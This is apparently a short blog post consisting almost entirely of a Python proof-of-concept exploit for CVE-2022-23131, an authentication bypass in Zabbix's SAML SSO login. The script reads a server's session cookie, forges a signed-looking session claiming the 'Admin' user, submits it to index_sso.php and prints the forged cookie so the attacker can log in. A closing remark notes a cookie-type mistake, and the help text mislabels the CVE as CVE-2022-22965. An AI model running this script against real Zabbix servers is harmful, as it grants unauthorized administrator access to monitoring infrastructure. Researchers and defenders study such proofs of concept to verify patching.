Poc_CVE-2022-23131

 

 1 import requests
 2 import re
 3 import argparse
 4 import base64,urllib.parse
 5 import json
 6 
 7 def decode(para):
 8     para = urllib.parse.unquote(para,encoding="utf-8")
 9     base64_decode = base64.b64decode(para)
10     para_json = json.loads(base64_decode)
11     return para_json
12 
13 def verify(url,payload):
14     url = url+'/index_sso.php?form=default'
15     cookie = payload
16     payload = {'zbx_session':payload}
17     res = requests.get(url=url,cookies=payload,verify=False)
18     re = 'icon-monitoring'
19     flag = re in str(res.text)
20 
21     if flag:
22         print("It looks likely vulnerable")
23         print("And please use this cookie "+ '{\33[91m'+ cookie + '\33[0m}' +" to login zabbix~")
24     else:
25         print("It is strong")
26 
27 def exploit(url):
28     url = 'http://'+url+'/zabbix'
29     response = requests.get(url=url,verify=False)
30     cookie = response.headers.get('Set-Cookie')
31     para1 = re.compile('zbx_session=(.*?);')
32     para2 = re.findall(para1,cookie)[0]
33     para = decode(para2)
34     payload = '{"saml_data":{"username_attribute":"Admin"},"sessionid":'+'"'+para['sessionid']+'"'+',"sign":'+'"'+para['sign']+'"'+'}'
35     payload_encode = urllib.parse.quote(base64.b64encode(payload.encode()))
36     verify(url,payload_encode)
37 
38 if __name__ == '__main__':
39     parameter = argparse.ArgumentParser(description='Poc CVE-2022-22965:')
40     parameter.add_argument('-file',help='url file',required=False)
41     parameter.add_argument('-url',help='ip:port',required=False)
42     para = parameter.parse_args()
43 
44     if para.url:
45         exploit(para.url)
46         exit()
47     else:
48         parameter.print_help()

之前直接使用cookie使用习惯了，忘记了这里cookie应该是dict类型……痛心疾首写在这里，警示一下粗心的chou毛病~

posted @ 2022-06-27 16:16  wavesky  阅读(226)  评论(0)  编辑  收藏  举报